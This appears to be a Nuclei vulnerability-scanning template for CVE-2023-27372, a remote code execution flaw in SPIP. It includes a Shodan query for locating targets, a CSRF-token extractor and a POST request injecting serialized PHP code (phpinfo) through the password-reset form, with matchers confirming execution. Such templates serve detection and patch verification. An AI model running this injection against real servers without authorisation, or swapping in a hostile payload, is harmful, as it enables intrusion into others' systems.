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id : CVE-2023-27372
info :
name : SPIP - Remote Command Execution
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author : DhiyaneshDK,nuts7
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severity : critical
description : |
SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
reference :
- https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27372
- https://github.com/nuts7/CVE-2023-27372
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-27372
metadata :
max-request : 1
shodan-query : html:"spip.php?page=backend"
verified : "true"
tags : cve,cve2023,spip,rce
http :
- raw :
- |
GET /spip.php?page=spip_pass HTTP/1.1
Host : {{Hostname}}
- |
POST /spip.php?page=spip_pass HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
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page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";
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matchers-condition : and
matchers :
- type : word
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part : body_2
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words :
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- "PHP Extension"
- "PHP Version"
- "<!DOCTYPE html"
condition : and
- type : status
status :
- 200
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extractors :
- type : regex
name : csrf
group : 1
internal : true
part : body_1
regex :
- "name='formulaire_action_args'[^>]*value='([^']*)'"
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- type : regex
part : body_2
group : 1
regex :
- '>PHP Version <\/td><td class="v">([0-9.]+)'
